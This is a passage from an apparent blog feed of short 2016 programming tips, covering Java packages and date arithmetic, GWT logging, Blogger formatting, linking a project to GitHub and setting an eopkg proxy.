TheClassName.&amp;lt;/pre&amp;gt;&lt;br /&gt;This is because, to run your code, it needs to be called with its fully-qualified name (include packagename in it’s name) and also note that this command must be called from the directory in which the thepackagename directory exists, not where your class TheClassName is placed (not inside the thepackagename folder itself - must be one level above)&lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;cd {path-to-one-level-above-thepackagename}&lt;br /&gt;javac thepackagename/TheClassName.java&lt;br /&gt;java thepackagename.TheClassName&amp;lt;/pre&amp;gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Markdown for blogger</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/26/Markdown-for-blogger/"/>
   <updated>2016-09-26T10:56:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/26/Markdown-for-blogger</id>
   <content type="html">&lt;p&gt;Well, it seems like I have to get familiar with markdown since my company’s WIKI is written using it.&lt;br /&gt;&lt;br /&gt;Here’s one useful tool : &lt;a href=&quot;https://stackedit.io/editor&quot;&gt;StackEdit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I would like to re-write all posts from this blog by using markdown. Still waiting for official support from Blogger but it does not seem it’s going to happen real soon.&lt;br /&gt;&lt;br /&gt;Any ideas?&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Logging with GWT</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/23/Logging-with-GWT/"/>
   <updated>2016-09-23T08:33:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/23/Logging-with-GWT</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;First, modify our module configuration file (&lt;b&gt;X&lt;/b&gt;.gwt.xml) where &lt;b&gt;X&lt;/b&gt; is the class which holds the EntryPoint of your application.&lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;&amp;lt;inherits name=”com.google.gwt.logging.Logging” /&amp;gt;&lt;br /&gt;&amp;lt;set-property name=”gwt.logging.logLevel” value=”INFO”/&amp;gt;&lt;br /&gt;&amp;lt;set-property name=”gwt.logging.enabled” value=”TRUE”/&amp;gt;&lt;br /&gt;&amp;lt;set-property name=”gwt.logging.consoleHandler” value=”ENABLED”/&amp;gt;&lt;br /&gt;&amp;lt;set-property name=”gwt.logging.popupHandler” value=”DISABLED” /&amp;gt;&amp;lt;!– Disable PopupLogHandler –&amp;gt;&lt;br /&gt;&amp;lt;set-property name=”gwt.logging.simpleRemoteHandler” value=”DISABLED” /&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&lt;br /&gt;2. This configuration cause logs to be printed to standard output, that is usually Eclipse console window. You can also view this logs in Javascript console, which present in Chrome, Firefox and IE.&lt;br /&gt;&lt;br /&gt;See here on how to view them in Javascript console : &lt;a href=&quot;http://webmasters.stackexchange.com/questions/8525/how-to-open-the-javascript-console-in-different-browsers&quot;&gt;http://webmasters.stackexchange.com/questions/8525/how-to-open-the-javascript-console-in-different-browsers&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. In your class, import the library.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;import java.util.logging.Logger;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;import java.util.logging.Level;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Then, instantiate the logger with whatever name, possibly with the class name to make it more descriptive.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;public Logger logger = Logger.getLogger(“MyClassLogger”);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Then it can be used anywhere within it’s scope. Examples :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;logger.log(Level.SEVERE, “Connection refused: “);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;logger.log(Level.INFO, “Query executed : “ + executedQuery);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. The log levels define the severity of a message. The Level class is used to define which messages should be written to the log. You can set the minimum level by the following :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;logger.setLevel(Level.INFO); &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. These are the typical usage of these levels :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ERROR&lt;/b&gt;: Any error/exception that is or might be critical.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;WARN&lt;/b&gt;: Any message that might warn us of potential problems, e.g. when a user tried to log in with wrong credentials - which might indicate an attack if that happens often or in short periods of time&lt;br /&gt;&lt;br /&gt;&lt;b&gt;INFO&lt;/b&gt;: Anything that we want to know when looking at the log files, e.g. when a scheduled job started/ended.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Posting code snippet to blogspot post (no syntax highlighting)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/23/Posting-code-snippet-to-blogspot-post-(no-syntax-highlighting)/"/>
   <updated>2016-09-23T08:29:54+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/23/Posting-code-snippet-to-blogspot-post-(no-syntax-highlighting)</id>
   <content type="html">&lt;p&gt;Encode your code using an online HTML Encoder and then put it inside pre  &lt;br /&gt;&amp;lt;pre&amp;gt;&amp;lt;pre&amp;gt;&lt;br /&gt;    &amp;lt;%–your encoded code goes here–%&amp;gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;  &lt;a href=&quot;http://www.opinionatedgeek.com/dotnet/tools/htmlencode/encode.aspx&quot;&gt;HTML Encoder&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Increment a day in Java or get previous date</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/21/Increment-a-day-in-Java-or-get-previous-date/"/>
   <updated>2016-09-21T05:16:28+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/21/Increment-a-day-in-Java-or-get-previous-date</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;Using java.util.Calendar in typical Java application&lt;br /&gt;&lt;br /&gt;&amp;lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;SimpleDateFormat&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; dateFormat &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;SimpleDateFormat&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: #7d2727; margin: 0px; padding: 0px;&quot;&gt;&quot;yyyy-MM-dd&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Calendar&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; cal &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Calendar&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;getInstance&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;cal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;setTime&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; dateFormat&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; inputString &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;cal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Calendar&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;border: 0px; color: #7d2727; margin: 0px; padding: 0px;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;2. Using java.util.Date - this does’t take care Daylight saving but might be required for certain use cases and especially in GWT where Calendar is not supported.&lt;br /&gt;&lt;br /&gt;&amp;lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: consolas, menlo, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;liberation mono&amp;quot;, &amp;quot;dejavu sans mono&amp;quot;, &amp;quot;bitstream vera sans mono&amp;quot;, &amp;quot;courier new&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&amp;lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; date &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; daysAgo &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;date.getTime() - (1000*60*60*24)&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;); &lt;/span&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;3. Using 3rd party library. For example, &lt;a href=&quot;http://joda-time.sourceforge.net/&quot; style=&quot;background-color: white; border: 0px; color: #005999; cursor: pointer; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin: 0px; padding: 0px; text-decoration: none;&quot;&gt;http://joda-time.sourceforge.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; date &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: #858c93; margin: 0px; padding: 0px;&quot;&gt;// Or where ever you get it from&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; daysAgo &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;minusDays&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;border: 0px; color: #7d2727; margin: 0px; padding: 0px;&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;toDate&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Creating a new Github repository and link it to the local existing project in your computer</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/20/Creating-a-new-Github-repository-and-link-it-to-the-local-existing-project-in-your-computer/"/>
   <updated>2016-09-20T19:45:18+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/20/Creating-a-new-Github-repository-and-link-it-to-the-local-existing-project-in-your-computer</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;Create a new repository on GitHub&lt;br /&gt;&lt;br /&gt;2. Get the remote repository Web URL by pressing the “Clone or Download” button (coloured green). It looks like this : &lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;https://github.com/iserifith/ScoreBoard.git&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Open Terminal and go to your local project folder where you have the files you have been working on.&lt;br /&gt;&lt;br /&gt;4. Initialize the local project folder as a Git repository using the following command :&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git init&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. Add the files in the project folder into “local git repository” - this is called “staging”.&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git add .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note : This does not connect to “remote git repository”. Understand the difference between local and remote git repository.&lt;br /&gt;&lt;br /&gt;6. Commit the files that you’ve staged in your local repository.&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git commit -m “First commit”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;7. Now we set so that our local repository are linked to the remote repository. This command set the remote repository as the “origin”.&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git remote add origin {remote repository Web URL}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Example : &lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git remote add origin https://github.com/iserifith/ScoreBoard.git&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;8. Verify that our remote repository are linked properly using&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git remote -v&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It will prompt you something like this :&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;origin&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;https://github.com/iserifith/ScoreBoard.git (fetch)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;origin&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;https://github.com/iserifith/ScoreBoard.git (push)&lt;/span&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;9. Once all set, push the all files (that we have committed just now) in your local repository to GitHub using the following command :&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git push origin master&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Extra :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Now, to make sure you keep updated Github with your work, all you need to are 3 steps :&lt;br /&gt;&lt;br /&gt;1. Add all files (staging)&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git add .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. Commit&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git commit -m “I did some changes”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Push to Github (remote repository)&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git push origin master&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Using EOPKG via proxy</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/20/Using-EOPKG-via-proxy/"/>
   <updated>2016-09-20T04:09:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/20/Using-EOPKG-via-proxy</id>
   <content type="html">&lt;p&gt;Edit file &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/etc/eopkg/eopkg.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Add the following line&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;http_proxy = http://yourproxysite&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;https_proxy = http://yourproxysite&lt;/span&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: justify;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Git diff using meld, a graphical file comparator</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/14/Git-diff-using-meld,-a-graphical-file-comparator/"/>
   <updated>2016-09-14T09:53:16+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/14/Git-diff-using-meld,-a-graphical-file-comparator</id>
